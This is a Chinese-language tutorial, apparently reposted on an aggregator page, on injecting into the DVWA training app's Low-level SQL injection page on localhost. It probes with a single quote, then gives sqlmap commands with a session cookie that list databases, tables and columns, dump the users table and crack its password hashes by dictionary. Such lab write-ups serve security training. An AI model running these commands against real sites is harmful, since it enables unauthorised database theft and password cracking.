日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問(wèn) 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 编程资源 > 编程问答 >内容正文

编程问答

DVWA——Sqlmap练习

發(fā)布時(shí)間:2024/9/30 编程问答 37 豆豆
生活随笔 收集整理的這篇文章主要介紹了 DVWA——Sqlmap练习 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

在DVWA頁(yè)面中選擇 SQL Injection


一、首先肯定是要判斷是否有注入漏洞,在輸入框輸入1,返回

ID: 1 First name: admin Surname: admin


返回正常;

再次輸入1',報(bào)錯(cuò),返回

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near " 1' " at line 1


此時(shí)可以斷定有SQL注入漏洞且為單引號(hào)閉合的字符型注入,下面利用SQLMap進(jìn)行注入攻擊。

二、利用Sqlmap工具:

1、先進(jìn)行基本的測(cè)試

python sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli/index.php?id=1&Submit=Submit"

-u 參數(shù)表示url,指定連接目標(biāo)

得到提示:


Sqlmap 得到302重定向到 " http://localhost:80/DVWA/login.php "。你想跟上嗎?[y/n]

根據(jù)該提示,可以判斷(302重定向)跳轉(zhuǎn)至登錄頁(yè)面,看來(lái)需要帶cookie,否則可能無(wú)法正常執(zhí)行。

解釋:web應(yīng)用需要登錄的時(shí)候需要加 cookie參數(shù)

不加則如下:


F12打開控制臺(tái),在網(wǎng)絡(luò)里得到Cookie信息。

PHPSESSID "lqumo7do6sle0vl4gi7b9qqd57" security "low"


加上帶cookie參數(shù)再次測(cè)試:

python sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=lqumo7do6sle0vl4gi7b9qqd57;sec urity=low"

得到:

the back-end DBMS is MySQL //后臺(tái)數(shù)據(jù)庫(kù)管理系統(tǒng):MySQL web server operating system: Windows //Web服務(wù)武器操作系統(tǒng):Windows web application technology: PHP 5.4.45, Apache 2.4.23 //Web應(yīng)用技術(shù): PHP 5.4.45, Apache 2.4.23 back-end DBMS: MySQL >= 5.0 //后臺(tái)數(shù)據(jù)庫(kù):MySQL


發(fā)現(xiàn)sqlmap可以跑出數(shù)據(jù)來(lái)了,構(gòu)造其他語(yǔ)句,繼續(xù)查取數(shù)據(jù)。

2、列出數(shù)據(jù)庫(kù)信息:

python sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=lqumo7do6sle0vl4gi7b9qqd57;s ecurity=low" --dbs

--dbs 表示列出目標(biāo)有哪些數(shù)據(jù)庫(kù)

得到8個(gè)mysql下數(shù)據(jù)庫(kù)名:

3、獲取當(dāng)前的數(shù)據(jù)庫(kù):

python sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=lqumo7do6sle0vl4gi7b9qqd57;security=low" --current-db

--current-db得到當(dāng)前使用的數(shù)據(jù)庫(kù)


得到:current database: 'dvwa'

即:當(dāng)前數(shù)據(jù)庫(kù)名為:dvwa

4、獲取當(dāng)前數(shù)據(jù)庫(kù)下的表:

python sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=lqumo7do6sle0vl4gi7b9qqd57;security=low" --table -D "dvwa"

--table -D "xxx" :得到xxx數(shù)據(jù)庫(kù)下面的表

5、獲取數(shù)據(jù)庫(kù)dvwa下user表的字段:

python sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=lqumo7do6sle0vl4gi7b9qqd57;security=low" --columns -T "users" -D "dvwa"

--columns -T "" -D "" 得到數(shù)據(jù)庫(kù)下面的表下面的列(columns)

得到:

6、獲取user表里的字段值:

python sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=lqumo7do6sle0vl4gi7b9qqd57;security=low" --dump -T users -D dvwa

過(guò)程中會(huì)出現(xiàn)的部分提示信息:

do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] 您是否要將散列存儲(chǔ)到臨時(shí)文件中,以便最終使用其他工具進(jìn)行進(jìn)一步處理do you want to crack them via a dictionary-based attack? [Y/n/q] 您是否想通過(guò)基于字典的攻擊來(lái)破解它們?what dictionary do you want to use? 用什么字典來(lái)破解?[1] default dictionary file 'C:\WangAn\Sqlmap\txt\wordlist.zip' (press Enter) [2] custom dictionary file [3] file with list of dictionary files 回車會(huì)直接使用第一個(gè)do you want to use common password suffixes? (slow!) [y/N] 您是否要使用通用密碼后綴? (慢!)

最終得到:

至此,DVWA 的Low級(jí)別的SQL注入漏洞使用SqlMap工具注入完成。

總結(jié)

以上是生活随笔為你收集整理的DVWA——Sqlmap练习的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。